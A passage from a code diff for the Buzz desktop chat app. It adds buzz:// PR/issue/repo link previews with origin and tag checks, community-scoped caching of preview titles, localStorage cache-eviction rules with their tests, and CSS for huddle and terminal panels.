+  // Construct the expected fallback title and verify shouldResolveTitle allows lookup.
+  const fallback = buzzEntityFallbackTitle(parsed.value);
+  const preview = makePrPreview(fallback);
+  assert.equal(
+    shouldResolveTitle(preview),
+    true,
+    "fallback title should trigger relay lookup",
+  );
+});
+
+test("shouldResolveTitle_customLabel_returnsFalse_labelMustWin", () => {
+  // User has written `[My custom PR title](buzz://pr?...)` — the label must
+  // win; shouldResolveTitle must return false to skip writing the relay title.
+  const preview = makePrPreview("My custom PR title");
+  assert.equal(
+    shouldResolveTitle(preview),
+    false,
+    "custom label must suppress relay title lookup (label-must-win invariant)",
+  );
+});
+
+// 3. Label-rerender: converting a bare link to `[label](link)` changes the
+//    preview title away from the fallback — shouldResolveTitle transitions
+//    from true to false, so a cached relay title is not applied.
+test("shouldResolveTitle_transitionsFromTrueToFalseWhenLabelApplied", () => {
+  const parsed = {
+    ok: true,
+    value: { type: "pr", id: EVENT_HEX, owner: OWNER_HEX, dtag: "buzz-world" },
+  };
+  const fallback = buzzEntityFallbackTitle(parsed.value);
+
+  // Before the label: bare link with fallback title — should resolve.
+  const barePreview = makePrPreview(fallback);
+  assert.equal(
+    shouldResolveTitle(barePreview),
+    true,
+    "bare link should resolve",
+  );
+
+  // After the label: same href but title is now the user's label — must NOT resolve.
+  const labeledPreview = makePrPreview("My labeled PR");
+  assert.equal(
+    shouldResolveTitle(labeledPreview),
+    false,
+    "labeled link must not overwrite label with cached relay title",
+  );
+});
diff --git a/desktop/src/shared/lib/linkPreview.ts b/desktop/src/shared/lib/linkPreview.ts
index 5cba96da87..b518b0728e 100644
--- a/desktop/src/shared/lib/linkPreview.ts
+++ b/desktop/src/shared/lib/linkPreview.ts
@@ -1,4 +1,16 @@
+import {
+  buildIssueLink,
+  buildPullRequestLink,
+  buildRepoLink,
+  isEntityLink,
+  parseEntityLink,
+  type ParsedEntityLink,
+} from "./entityLink";
+
 export type SupportedLinkPreviewKind =
+  | "buzz-pull-request"
+  | "buzz-issue"
+  | "buzz-repository"
   | "github-pull-request"
   | "github-issue"
   | "github-repository"
@@ -13,6 +25,7 @@ export type SupportedLinkPreview = {
   kind: SupportedLinkPreviewKind;
   href: string;
   provider:
+    | "Buzz"
     | "GitHub"
     | "Linear"
     | "Google Drive"
@@ -31,10 +44,13 @@ export type SupportedLinkPreview = {
     | "presentation";
 };
 
+// Buzz relay hosts differ per community, so relay git URLs are recognized by
+// their distinctive path shape (`/git/<64-hex-pubkey>/<repo>`) rather than by
+// hostname, and require an explicit scheme.
 const SUPPORTED_URL_RE =
-  /(^|[\s([{<>"'])((?:https?:\/\/)?(?:(?:www\.)?github\.com|(?:www\.)?linear\.app|drive\.google\.com|docs\.google\.com)\/[^\s<>"'\]]+)/gi;
+  /(^|[\s([{<>"'])((?:https?:\/\/)?(?:(?:www\.)?github\.com|(?:www\.)?linear\.app|drive\.google\.com|docs\.google\.com)\/[^\s<>"'\]]+|https?:\/\/[^\s<>"'\]]+\/git\/[a-f0-9]{64}\/[^\s<>"'\]]+|buzz:\/\/(?:pr|issue|repo)\?[^\s<>"'\]]+)/gi;
 const MARKDOWN_SUPPORTED_LINK_RE =
-  /!?\[([^\]\n]+)\]\(((?:https?:\/\/)?(?:(?:www\.)?github\.com|(?:www\.)?linear\.app|drive\.google\.com|docs\.google\.com)\/[^)\s<>"']+)\)/gi;
+  /!?\[([^\]\n]+)\]\(((?:https?:\/\/)?(?:(?:www\.)?github\.com|(?:www\.)?linear\.app|drive\.google\.com|docs\.google\.com)\/[^)\s<>"']+|https?:\/\/[^)\s<>"']+\/git\/[a-f0-9]{64}\/[^)\s<>"']+|buzz:\/\/(?:pr|issue|repo)\?[^)\s<>"']+)\)/gi;
 const MAX_PREVIEWS = 8;
 
 type HiddenRange = {
@@ -266,6 +282,97 @@ function createPreview(
   };
 }
 
+/**
+ * Placeholder title shown before (or instead of) the relay event lookup in
+ * `useResolvedLinkPreviews` resolves the real `subject` / repo name.
+ * Exported so the resolver can tell "still the fallback" apart from a
+ * markdown-label override it must not overwrite.
+ */
+export function buzzEntityFallbackTitle(link: ParsedEntityLink): string {
+  if (link.type === "repo") return link.dtag;
+  return `${link.dtag} #${link.id.slice(0, 8)}`;
+}
+
+/**
+ * Map a `buzz://pr|issue|repo` deep link onto a preview card. The href is
+ * rebuilt through the canonical builders so equivalent links (case or query
+ * order variants) dedupe to a single card.
+ */
+function parseBuzzEntityPreview(href: string): SupportedLinkPreview | null {
+  const parsed = parseEntityLink(href);
+  if (!parsed.ok) return null;
+
+  const link = parsed.value;
+  const title = buzzEntityFallbackTitle(link);
+  if (link.type === "pr") {
+    return {
+      kind: "buzz-pull-request",
+      href: buildPullRequestLink(link),
+      provider: "Buzz",
+      title,
+      typeLabel: "PR",
+    };
+  }
+  if (link.type === "issue") {
+    return {
+      kind: "buzz-issue",
+      href: buildIssueLink(link),
+      provider: "Buzz",
+      title,
+      typeLabel: "issue",
+    };
+  }
+  return {
+    kind: "buzz-repository",
+    href: buildRepoLink(link),
+    provider: "Buzz",
+    title,
+    typeLabel: "repo",
+  };
+}
+
+const BUZZ_GIT_PATH_RE =
+  /^\/git\/([a-f0-9]{64})\/([a-zA-Z0-9._-]+?)(?:\.git)?\/?$/;
+
+/**
+ * Recognize a Buzz relay git URL (`{relay-origin}/git/<owner-pubkey>/<repo>`,
+ * the clone URL shape agents paste when announcing work). The preview href
+ * is normalized to the canonical `buzz://repo` deep link: the raw git
+ * transport endpoint is not a browsable page, and the buzz:// href gives the
+ * card the same in-app click navigation as explicit entity links (and
+ * dedupes the two spellings of the same repository).
+ *
+ * Security: the URL origin must equal `activeRelayOrigin` (the currently
+ * connected relay). Path shape alone is not proof that a host belongs to the
+ * active Buzz relay — an arbitrary external URL sharing the path shape must
+ * remain an ordinary external link. Pass `null` when the relay origin is not
+ * yet resolved; the link stays external until it can be verified.
+ */
+function parseBuzzGitLink(
+  parsed: URL,
+  activeRelayOrigin: string | null,
+): SupportedLinkPreview | null {
+  if (!activeRelayOrigin || parsed.origin !== activeRelayOrigin) {
+    return null;
+  }
+
+  const match = BUZZ_GIT_PATH_RE.exec(parsed.pathname);
+  if (!match) return null;
+
+  const [, owner, repo] = match;
+  if (repo.startsWith(".") || repo.includes("..") || repo.length > 64) {
+    return null;
+  }
+
+  return {
+    kind: "buzz-repository",
+    href: buildRepoLink({ owner, dtag: repo }),
+    provider: "Buzz",
+    title: repo,
+    typeLabel: "repo",
+  };
+}
+
 function parseGithubLink(parsed: URL): SupportedLinkPreview | null {
   if (normalizeHostname(parsed) !== "github.com") {
     return null;
@@ -416,10 +523,15 @@ function parseGoogleDocsLink(parsed: URL): SupportedLinkPreview | null {
 /** Parse a supported external URL into a compact preview. */
 export function parseSupportedLinkPreview(
   href: string,
+  activeRelayOrigin?: string | null,
 ): SupportedLinkPreview | null {
+  const candidate = trimUrlCandidate(href);
+  if (isEntityLink(candidate)) {
+    return parseBuzzEntityPreview(candidate);
+  }
+
   let parsed: URL;
   try {
-    const candidate = trimUrlCandidate(href);
     parsed = new URL(
       /^https?:\/\//i.test(candidate) ? candidate : `https://${candidate}`,
     );
@@ -432,6 +544,7 @@ export function parseSupportedLinkPreview(
   }
 
   return (
+    parseBuzzGitLink(parsed, activeRelayOrigin ?? null) ??
     parseGithubLink(parsed) ??
     parseLinearIssue(parsed) ??
     parseGoogleDriveLink(parsed) ??
@@ -442,16 +555,23 @@ export function parseSupportedLinkPreview(
 export function isSupportedLinkAutolinkLabel(
   label: string,
   preview: SupportedLinkPreview,
+  activeRelayOrigin?: string | null,
 ): boolean {
-  return parseSupportedLinkPreview(label)?.href === preview.href;
+  return (
+    parseSupportedLinkPreview(label, activeRelayOrigin)?.href === preview.href
+  );
 }
 
 function titleFromMarkdownLabel(
   label: string,
   preview: SupportedLinkPreview,
+  activeRelayOrigin: string | null,
 ): string | null {
   const title = label.replace(/\s+/g, " ").trim();
-  if (!title || isSupportedLinkAutolinkLabel(title, preview)) {
+  if (
+    !title ||
+    isSupportedLinkAutolinkLabel(title, preview, activeRelayOrigin)
+  ) {
     return null;
   }
   return title;
@@ -474,6 +594,7 @@ type LinkPreviewCandidate = {
 /** Extract supported link previews from message text, preserving first-seen order. */
 export function extractSupportedLinkPreviews(
   content: string,
+  activeRelayOrigin?: string | null,
 ): SupportedLinkPreview[] {
   const previews: SupportedLinkPreview[] = [];
   const seen = new Set<string>();
@@ -506,8 +627,9 @@ export function extractSupportedLinkPreviews(
 
   candidates.sort((a, b) => a.index - b.index || a.order - b.order);
 
+  const relayOrigin = activeRelayOrigin ?? null;
   for (const candidate of candidates) {
-    const preview = parseSupportedLinkPreview(candidate.href);
+    const preview = parseSupportedLinkPreview(candidate.href, relayOrigin);
     if (!preview || seen.has(preview.href)) continue;
 
     seen.add(preview.href);
@@ -515,7 +637,7 @@ export function extractSupportedLinkPreviews(
       withTitle(
         preview,
         candidate.label
-          ? titleFromMarkdownLabel(candidate.label, preview)
+          ? titleFromMarkdownLabel(candidate.label, preview, relayOrigin)
           : null,
       ),
     );
diff --git a/desktop/src/shared/lib/localStorageQuota.test.mjs b/desktop/src/shared/lib/localStorageQuota.test.mjs
index 64e351113a..9b5061e555 100644
--- a/desktop/src/shared/lib/localStorageQuota.test.mjs
+++ b/desktop/src/shared/lib/localStorageQuota.test.mjs
@@ -34,12 +34,13 @@ function install(ls) {
 }
 
 test("startup recovery removes disposable caches but preserves user state", () => {
-  const ls = makeQuotaLocalStorage({ maxEntries: 5 });
+  const ls = makeQuotaLocalStorage({ maxEntries: 6 });
   install(ls);
   ls.store.set("buzz-channel-messages.v1:relay:chan", "big");
   ls.store.set("buzz-channels.v1:relay", "big");
   ls.store.set("buzz-timeline-skeleton-shape.v1:chan", "small");
   ls.store.set("buzz-sidebar-skeleton-shape.v1:community:user", "small");
+  ls.store.set("buzz-user-labels.v1:relay", "small");
   ls.store.set("buzz-communities", "keep");
 
   recoverLocalStorageQuotaOnStartup();
@@ -51,6 +52,7 @@ test("startup recovery removes disposable caches but preserves user state", () =
     ls.getItem("buzz-sidebar-skeleton-shape.v1:community:user"),
     null,
   );
+  assert.equal(ls.getItem("buzz-user-labels.v1:relay"), null);
   assert.equal(ls.getItem("buzz-communities"), "keep");
   assert.equal(ls.getItem("buzz-local-storage-quota-recovery.v1"), "1");
 });
@@ -200,3 +202,40 @@ test("returns false when eviction frees nothing", () => {
   assert.equal(ls.getItem("k"), null);
   assert.equal(ls.getItem("buzz-workspaces"), "keep");
 });
+
+test("buzz-observed-unread.v1: prefix participates in LRU eviction and durable state survives", () => {
+  // Sentinel: fails if buzz-observed-unread.v1: is removed from PURE_CACHE_KEY_PREFIXES —
+  // the bucket becomes invisible to LRU and the wrong entry is evicted instead.
+  const ls = makeQuotaLocalStorage({ maxEntries: 20 });
+  install(ls);
+  ls.store.set("buzz-communities", "keep");
+
+  const snapshot = (updatedAt) =>
+    JSON.stringify({ updatedAt, payload: "x".repeat(400_000) });
+  const observedKey = "buzz-observed-unread.v1:wss://relay.example.com:pk1";
+  const olderKey = "buzz-channel-messages.v1:relay:older";
+  const newestKey = "buzz-channel-messages.v1:relay:newest";
+
+  // Seed observed-unread (oldest updatedAt=1) and a sibling channel-messages entry (updatedAt=2).
+  assert.equal(setLocalStorageItemWithRecovery(observedKey, snapshot(1)), true);
+  assert.equal(setLocalStorageItemWithRecovery(olderKey, snapshot(2)), true);
+
+  // Writing a third pure-cache entry (updatedAt=3) pushes the total above the 2 MiB budget.
+  // The observed-unread entry must be evicted first (oldest LRU); the sibling survives.
+  assert.equal(setLocalStorageItemWithRecovery(newestKey, snapshot(3)), true);
+  assert.equal(
+    ls.getItem(observedKey),
+    null,
+    "observed-unread bucket must be evicted as the oldest LRU pure-cache entry",
+  );
+  assert.notEqual(
+    ls.getItem(olderKey),
+    null,
+    "channel-messages bucket with newer updatedAt must survive",
+  );
+  assert.equal(
+    ls.getItem("buzz-communities"),
+    "keep",
+    "durable state must survive",
+  );
+});
diff --git a/desktop/src/shared/lib/localStorageQuota.ts b/desktop/src/shared/lib/localStorageQuota.ts
index 538003ef6f..189ff09fbb 100644
--- a/desktop/src/shared/lib/localStorageQuota.ts
+++ b/desktop/src/shared/lib/localStorageQuota.ts
@@ -10,8 +10,10 @@
 const PURE_CACHE_KEY_PREFIXES = [
   "buzz-channel-messages.v1:",
   "buzz-channels.v1:",
+  "buzz-observed-unread.v1:",
   "buzz-sidebar-skeleton-shape.v1:",
   "buzz-timeline-skeleton-shape.v1:",
+  "buzz-user-labels.v1:",
 ];
 
 const QUOTA_RECOVERY_MARKER_KEY = "buzz-local-storage-quota-recovery.v1";
diff --git a/desktop/src/shared/lib/mediaUrl.ts b/desktop/src/shared/lib/mediaUrl.ts
index 238ef403eb..76ae8d65b8 100644
--- a/desktop/src/shared/lib/mediaUrl.ts
+++ b/desktop/src/shared/lib/mediaUrl.ts
@@ -231,6 +231,19 @@ async function fetchProxyPort(): Promise<number | null> {
   return cachedPort;
 }
 
+/**
+ * Ensure the relay-origin lookup is active after a community cache reset.
+ *
+ * Consumers that classify relay-owned URLs may render before any media URL
+ * asks for the proxy port. Starting the shared fetch here keeps host
+ * classification independent from incidental image/video rendering.
+ */
+export function ensureRelayOriginFetch(): void {
+  if (!portPromise && typeof window !== "undefined") {
+    portPromise = fetchProxyPort();
+  }
+}
+
 /** Eagerly fetch the port at module load so it's ready by first render. */
 // The try/catch inside fetchProxyPort handles non-Tauri environments gracefully
 // (invoke will throw, we retry until timeout, then give up — no side effects).
@@ -319,7 +332,7 @@ export function rewriteRelayUrl(url: string): string {
   }
 
   if (!portPromise && typeof window !== "undefined") {
-    portPromise = fetchProxyPort();
+    ensureRelayOriginFetch();
   }
 
   return `buzz-media://localhost/media/${m[1]}`;
diff --git a/desktop/src/shared/lib/useRelayOrigin.ts b/desktop/src/shared/lib/useRelayOrigin.ts
index c29c20d327..12e58d9a23 100644
--- a/desktop/src/shared/lib/useRelayOrigin.ts
+++ b/desktop/src/shared/lib/useRelayOrigin.ts
@@ -1,6 +1,10 @@
 import * as React from "react";
 
-import { getCachedRelayOrigin, subscribeRelayOrigin } from "./mediaUrl";
+import {
+  ensureRelayOriginFetch,
+  getCachedRelayOrigin,
+  subscribeRelayOrigin,
+} from "./mediaUrl";
 
 /**
  * The resolved relay origin, re-rendering when it resolves or changes.
@@ -16,9 +20,11 @@ import { getCachedRelayOrigin, subscribeRelayOrigin } from "./mediaUrl";
  * "not yet downloadable" (fail closed).
  */
 export function useRelayOrigin(): string | null {
-  return React.useSyncExternalStore(
+  const origin = React.useSyncExternalStore(
     subscribeRelayOrigin,
     getCachedRelayOrigin,
     () => null,
   );
+  React.useEffect(ensureRelayOriginFetch, []);
+  return origin;
 }
diff --git a/desktop/src/shared/lib/useResolvedLinkPreviews.ts b/desktop/src/shared/lib/useResolvedLinkPreviews.ts
index 9773c33945..d1e3d27b35 100644
--- a/desktop/src/shared/lib/useResolvedLinkPreviews.ts
+++ b/desktop/src/shared/lib/useResolvedLinkPreviews.ts
@@ -1,8 +1,17 @@
 import * as React from "react";
 
 import { invokeTauri } from "@/shared/api/tauri";
+import { relayClient } from "@/shared/api/relayClient";
+import {
+  KIND_GIT_ISSUE,
+  KIND_GIT_PULL_REQUEST,
+} from "@/shared/constants/kinds";
 
-import type { SupportedLinkPreview } from "./linkPreview";
+import { parseEntityLink } from "./entityLink";
+import {
+  buzzEntityFallbackTitle,
+  type SupportedLinkPreview,
+} from "./linkPreview";
 
 const GOOGLE_FALLBACK_TITLES = new Set([
   "Drive file",
@@ -13,33 +22,126 @@ const GOOGLE_FALLBACK_TITLES = new Set([
 ]);
 
 const titleCache = new Map<string, Promise<string | null> | string | null>();
+/**
+ * Generation counter incremented on every `resetLinkPreviewTitleCache` call.
+ * Each in-flight promise captures the generation at creation time and only
+ * writes back if no reset has happened since — preventing a resolved promise
+ * from a previous community from repopulating stale entries into the fresh
+ * cache of a new community.
+ */
+let cacheGeneration = 0;
+
+/**
+ * Buzz entity titles come from relay events, so they are community-scoped —
+ * wired into `resetCommunityState()` (see useCommunityInit.ts) to avoid
+ * leaking titles across community switches.
+ */
+export function resetLinkPreviewTitleCache(): void {
+  cacheGeneration += 1;
+  titleCache.clear();
+}
+
+/**
+ * Returns the current cache generation counter. Used in tests to verify that
+ * `resetLinkPreviewTitleCache` increments the generation so stale in-flight
+ * promises cannot seed the new cache.
+ *
+ * @internal test-only export
+ */
+export function getLinkPreviewCacheGeneration(): number {
+  return cacheGeneration;
+}
 
 function fetchLinkPreviewTitle(href: string): Promise<string | null> {
   return invokeTauri<string | null>("fetch_link_preview_title", { href });
 }
 
-function shouldResolveTitle(preview: SupportedLinkPreview): boolean {
+/**
+ * Resolve a Buzz PR/issue card title from the relay event's `subject` tag
+ * (first content line as fallback — the same precedence the projects views
+ * use).
+ *
+ * Security: the fetched event's canonical `a` tag must equal
+ * `30617:<owner>:<d>` from the link before we adopt its title. Without this
+ * check, a crafted link could pair the real title of a legitimate PR with an
+ * unrelated repository destination.
+ */
+async function fetchBuzzEntityTitle(href: string): Promise<string | null> {
+  const parsed = parseEntityLink(href);
+  if (!parsed.ok || parsed.value.type === "repo") return null;
+
+  const { id, owner, dtag } = parsed.value;
+  const expectedCoordinate = `30617:${owner}:${dtag}`;
+
+  const events = await relayClient.fetchEvents({
+    kinds: [
+      parsed.value.type === "pr" ? KIND_GIT_PULL_REQUEST : KIND_GIT_ISSUE,
+    ],
+    ids: [id],
+    limit: 1,
+  });
+  const event = events[0];
+  if (!event) return null;
+
+  // Verify the event belongs to the claimed repository coordinate.
+  const aTag = event.tags.find(
+    (tag) => tag[0] === "a" && tag[1] === expectedCoordinate,
+  );
+  if (!aTag) return null;
+
+  const subject = event.tags.find((tag) => tag[0] === "subject")?.[1];
+  return subject || event.content.split("\n")[0] || null;
+}
+
+/**
+ * Returns true when the preview's current title is still the auto-generated
+ * fallback and a relay lookup should be attempted to replace it. Returns false
+ * once the user has applied a markdown label (`[My label](link)`) so that the
+ * label wins over any cached relay title.
+ *
+ * Exported for unit testing of the label-must-win invariant.
+ */
+export function shouldResolveTitle(preview: SupportedLinkPreview): boolean {
+  if (preview.kind === "buzz-pull-request" || preview.kind === "buzz-issue") {
+    // A markdown-label override replaces the fallback title and must win
+    // over the relay lookup.
+    const parsed = parseEntityLink(preview.href);
+    return parsed.ok && preview.title === buzzEntityFallbackTitle(parsed.value);
+  }
+
   return (
     preview.kind.startsWith("google-") &&
     GOOGLE_FALLBACK_TITLES.has(preview.title)
   );
 }
 
-function cacheTitle(href: string): Promise<string | null> {
-  const cached = titleCache.get(href);
+function resolveTitle(preview: SupportedLinkPreview): Promise<string | null> {
+  return preview.href.startsWith("buzz://")
+    ? fetchBuzzEntityTitle(preview.href)
+    : fetchLinkPreviewTitle(preview.href);
+}
+
+function cacheTitle(preview: SupportedLinkPreview): Promise<string | null> {
+  const cached = titleCache.get(preview.href);
   if (cached instanceof Promise) return cached;
   if (cached !== undefined) return Promise.resolve(cached);
 
-  const promise = fetchLinkPreviewTitle(href)
+  const generation = cacheGeneration;
+  const promise = resolveTitle(preview)
     .then((title) => {
-      titleCache.set(href, title);
+      // Only write back if no community switch has happened since we started.
+      if (cacheGeneration === generation) {
+        titleCache.set(preview.href, title);
+      }
       return title;
     })
     .catch(() => {
-      titleCache.set(href, null);
+      if (cacheGeneration === generation) {
+        titleCache.set(preview.href, null);
+      }
       return null;
     });
-  titleCache.set(href, promise);
+  titleCache.set(preview.href, promise);
   return promise;
 }
 
@@ -66,7 +168,7 @@ export function useResolvedLinkPreviews(
         continue;
       }
 
-      void cacheTitle(preview.href).then((title) => {
+      void cacheTitle(preview).then((title) => {
         if (cancelled || !title) return;
         setResolvedTitles((current) =>
           current[preview.href] === title
@@ -85,7 +187,14 @@ export function useResolvedLinkPreviews(
     () =>
       previews.map((preview) => {
         const title = resolvedTitles[preview.href];
-        return title ? { ...preview, title } : preview;
+        // Only apply a relay-resolved title while the preview still has the
+        // fallback title (i.e. no markdown-label override). If the user edits
+        // a bare link into `[My label](same-link)`, `shouldResolveTitle`
+        // returns false and the label wins — the cached relay title is not
+        // applied to prevent it from silently overriding the explicit label.
+        return title && shouldResolveTitle(preview)
+          ? { ...preview, title }
+          : preview;
       }),
     [previews, resolvedTitles],
   );
diff --git a/desktop/src/shared/styles/globals.css b/desktop/src/shared/styles/globals.css
index 704f6e542d..0d5a103219 100644
--- a/desktop/src/shared/styles/globals.css
+++ b/desktop/src/shared/styles/globals.css
@@ -10,6 +10,7 @@
 @import "./globals/skeleton.css";
 @import "./globals/spoilers.css";
 @import "./globals/components.css";
+@import "./globals/terminal.css";
 @import "./globals/utilities.css";
 @import "./globals/media-controls.css";
 @import "./globals/avatar-framing.css";
@@ -30,3 +31,6 @@
    Must stay below every `@import`: CSS requires `@import` to precede other
    at-rules, so placing this above them silently drops the rest of the sheet. */
 @custom-variant hover (&:hover);
+/* The app persists its selected theme on the root `.dark` class. Use that
+   class, rather than the system preference, for every `dark:` utility. */
+@custom-variant dark (&:where(.dark, .dark *));
diff --git a/desktop/src/shared/styles/globals/components.css b/desktop/src/shared/styles/globals/components.css
index 036cf925e0..5ab551bed0 100644
--- a/desktop/src/shared/styles/globals/components.css
+++ b/desktop/src/shared/styles/globals/components.css
@@ -10,6 +10,8 @@
     --buzz-huddle-drawer-radius: 24px;
     --buzz-huddle-drawer-ease: cubic-bezier(0.32, 0.72, 0, 1);
     --buzz-huddle-drawer-surface: var(--huddle-drawer-surface, 0 0% 0%);
+    /* Keep the drawer surface behind the lifted app so the dark background
+     * remains visible through its rounded lower corners. */
     background: hsl(var(--buzz-huddle-drawer-surface));
   }
 
@@ -58,6 +60,32 @@
     opacity: 1;
   }
 
+  .buzz-huddle-drawer-backdrop {
+    background: hsl(var(--buzz-huddle-drawer-surface));
+    bottom: 0;
+    height: calc(
+      var(--buzz-huddle-drawer-height) +
+      var(--buzz-huddle-drawer-radius)
+    );
+    left: 0;
+    opacity: 0;
+    pointer-events: none;
+    position: absolute;
+    right: 0;
+    transition: opacity 260ms var(--buzz-huddle-drawer-ease);
+    z-index: 1;
+  }
+
+  .buzz-huddle-drawer-backdrop-open {
+    opacity: 1;
+  }
+
+  /* The dedicated companion keeps room for the controls without making the
+   * transcript look like a raised card. */
+  .buzz-huddle-app-surface-room-open {
+    bottom: var(--buzz-huddle-drawer-height);
+  }
+
   .buzz-huddle-drawer {
     --buzz-huddle-drawer-surface: var(--huddle-drawer-surface, 0 0% 0%);
     --background: var(--buzz-huddle-drawer-surface);
@@ -141,6 +169,45 @@
     width: 0.25rem;
   }
 
+  .buzz-huddle-speaking-avatar {
+    isolation: isolate;
+  }
+
+  .buzz-huddle-speaking-avatar::after {
+    border: 2px solid hsl(142 71% 45%);
+    border-radius: inherit;
+    content: "";
+    inset: -2px;
+    opacity: var(--buzz-huddle-speaker-opacity, 0);
+    pointer-events: none;
+    position: absolute;
+    transform: scale(var(--buzz-huddle-speaker-scale, 1.02));
+    transition:
+      opacity 80ms linear,
+      transform 90ms cubic-bezier(0.2, 0, 0, 1);
+    will-change: opacity, transform;
+    z-index: 1;
+  }
+
+  @keyframes buzz-huddle-participant-tile-enter {
+    from {
+      opacity: 0;
+      transform: scale(0.95);
+    }
+
+    to {
+      opacity: 1;
+      transform: scale(1);
+    }
+  }
+
+  .buzz-huddle-participant-tile {
+    animation: buzz-huddle-participant-tile-enter 180ms
+      cubic-bezier(0.23, 1, 0.32, 1) both;
+    transform-origin: center;
+    will-change: opacity, transform;
+  }
+
   @media (prefers-reduced-motion: reduce) {
     .buzz-side-panel-enter {
       animation: none;
@@ -151,9 +218,28 @@
       transition: none;
     }
 
+    .buzz-huddle-drawer-backdrop {
+      transition: none;
+    }
+
     .buzz-huddle-mic-meter-bar {
       transition: none;
     }
+
+    .buzz-huddle-speaking-avatar {
+      isolation: auto;
+    }
+
+    .buzz-huddle-speaking-avatar::after {
+      transform: scale(1.04);
+      transition: none;
+      will-change: auto;
+    }
+
+    .buzz-huddle-participant-tile {
+      animation: none;
+      will-change: auto;
+    }
   }
 
   .buzz-startup-shell {
diff --git a/desktop/src/shared/styles/globals/scrollbars.css b/desktop/src/shared/styles/globals/scrollbars.css
index 4614967745..3d6fa15402 100644
--- a/desktop/src/shared/styles/globals/scrollbars.css
+++ b/desktop/src/shared/styles/globals/scrollbars.css
@@ -33,6 +33,27 @@
   );
 }
 
+/* Channel activity keeps its chrome outside the scrolling surface. The slim,
+ * low-contrast thumb belongs only to the activity list beneath the header. */
+.buzz-channel-activity-scrollbar {
+  scrollbar-gutter: stable;
+}
+
+.buzz-channel-activity-scrollbar::-webkit-scrollbar {
+  width: 8px;
+}
+
+.buzz-channel-activity-scrollbar::-webkit-scrollbar-track {
+  background: transparent;
+}
+
+.buzz-channel-activity-scrollbar::-webkit-scrollbar-thumb {
+  background-clip: content-box;
+  background-color: hsl(var(--foreground) / 0.15);
+  border: 2px solid transparent;
+  border-radius: 999px;
+}
+
 /*
  * Main-content scroll areas that have sticky blurred chrome inside them.
  * Native overlay scrollbars paint UNDER composited descendants
diff --git a/desktop/src/shared/styles/globals/terminal.css b/desktop/src/shared/styles/globals/terminal.css
new file mode 100644
index 0000000000..26b5f42ba8
--- /dev/null
+++ b/desktop/src/shared/styles/globals/terminal.css
@@ -0,0 +1,302 @@
+@layer components {
+  .buzz-terminal-substrate {
+    background: var(--buzz-terminal-background, #101014);
+    color: var(--buzz-terminal-foreground, #e8e8ec);
+    display: flex;
+    flex-direction: column;
+    font-family: "JetBrains Mono", monospace;
+    font-variant-ligatures: none;
+    inset: 0;
+    position: absolute;
+    user-select: none;
+    z-index: 0;
+  }
+
+  .buzz-terminal-contract-bar {
+    align-items: center;
+    background: hsl(var(--secondary));
+    border-bottom: 1px solid hsl(var(--border));
+    color: hsl(var(--secondary-foreground));
+    display: flex;
+    flex: 0 0 40px;
+    font-family: inherit;
+    font-variant-ligatures: normal;
+    gap: 8px;
+    justify-content: space-between;
+    min-width: 0;
+    padding: 4px 1.25rem;
+  }
+
+  .buzz-terminal-tabs,
+  .buzz-terminal-readout {
+    align-items: center;
+    display: flex;
+    min-width: 0;
+  }
+
+  .buzz-terminal-tab,
+  .buzz-terminal-tab-select,
+  .buzz-terminal-close,
+  .buzz-terminal-new-tab {
+    align-items: center;
+    background: transparent;
+    border: 0;
+    border-radius: calc(var(--radius) - 2px);
+    color: hsl(var(--muted-foreground));
+    display: flex;
+    font: inherit;
+    font-size: 0.75rem;
+    font-weight: 500;
+    gap: 6px;
+    height: 30px;
+    padding: 0 9px;
+    position: relative;
+  }
+
+  .buzz-terminal-tabs {
+    flex: 1 1 auto;
+    gap: 4px;
+    overflow-x: auto;
+    overflow-y: hidden;
+    scrollbar-width: none;
+  }
+
+  .buzz-terminal-tabs::-webkit-scrollbar {
+    display: none;
+  }
+
+  .buzz-terminal-readout {
+    background: hsl(var(--secondary));
+    flex: 0 0 auto;
+    gap: 4px;
+    padding: 0;
+    position: relative;
+    z-index: 1;
+  }
+
+  .buzz-terminal-tab {
+    background: hsl(var(--background));
+    border-radius: 4px;
+    flex: 0 0 auto;
+    padding: 0;
+  }
+
+  .buzz-terminal-tab-active {
+    background: hsl(var(--background));
+  }
+
+  .buzz-terminal-tab:hover,
+  .buzz-terminal-tab:focus-within {
+    background: hsl(var(--foreground) / 0.06);
+  }
+
+  .buzz-terminal-tab-select {
+    border-radius: inherit;
+    max-width: 12rem;
+    min-width: 0;
+    padding-left: 32px;
+  }
+
+  .buzz-terminal-tab-active .buzz-terminal-tab-select {
+    color: hsl(var(--foreground));
+  }
+
+  .buzz-terminal-new-tab:hover {
+    background: hsl(var(--foreground) / 0.06);
+    color: hsl(var(--foreground));
+  }
+
+  .buzz-terminal-new-tab {
+    align-items: center;
+    background: hsl(var(--background));
+    border-radius: 4px;
+    height: 30px;
+    justify-content: center;
+    padding: 7px;
+    width: 30px;
+  }
+
+  .buzz-terminal-new-tab svg {
+    height: 16px;
+    width: 16px;
+  }
+
+  .buzz-terminal-tab-title {
+    overflow: hidden;
+    text-overflow: ellipsis;
+    white-space: nowrap;
+  }
+
+  .buzz-terminal-designator {
+    align-items: center;
+    display: inline-flex;
+    font-size: 0.75rem;
+    gap: 2px;
+    letter-spacing: 0;
+  }
+
+  .buzz-terminal-designator svg {
+    height: 16px;
+    width: 16px;
+  }
+
+  .buzz-terminal-close {
+    height: 16px;
+    left: 8px;
+    opacity: 0;
+    padding: 0;
+    pointer-events: none;
+    position: absolute;
+    width: 16px;
+    z-index: 1;
+  }
+
+  .buzz-terminal-tab:hover .buzz-terminal-close,
+  .buzz-terminal-tab:focus-within .buzz-terminal-close {
+    color: hsl(var(--foreground));
+    opacity: 1;
+    pointer-events: auto;
+  }
+
+  .buzz-terminal-close svg {
+    height: 16px;
+    width: 16px;
+  }
+
+  .buzz-terminal-readout {
+    white-space: nowrap;
+  }
+
+  .buzz-terminal-viewport,
+  .buzz-terminal-viewport canvas {
+    height: 100%;
+    min-height: 0;
+    width: 100%;
+  }
+
+  .buzz-terminal-viewport {
+    overflow: hidden;
+    position: relative;
+  }
+
+  .buzz-terminal-viewport canvas {
+    display: block;
+  }
+
+  .buzz-terminal-welcome {
+    inset: 0;
+    pointer-events: none;
+    position: absolute;
+    z-index: 1;
+  }
+
+  .buzz-terminal-input {
+    height: 1px;
+    left: -10000px;
+    opacity: 0;
+    position: absolute;
+    top: 0;
+    width: 1px;
+  }
+}
+
+@layer components {
+  .buzz-terminal-dock-host:has(.buzz-terminal-substrate) {
+    align-items: flex-end;
+    display: flex;
+    flex: 0 0 auto;
+    min-height: 0;
+    overflow: hidden;
+    transition:
+      flex-grow 180ms ease,
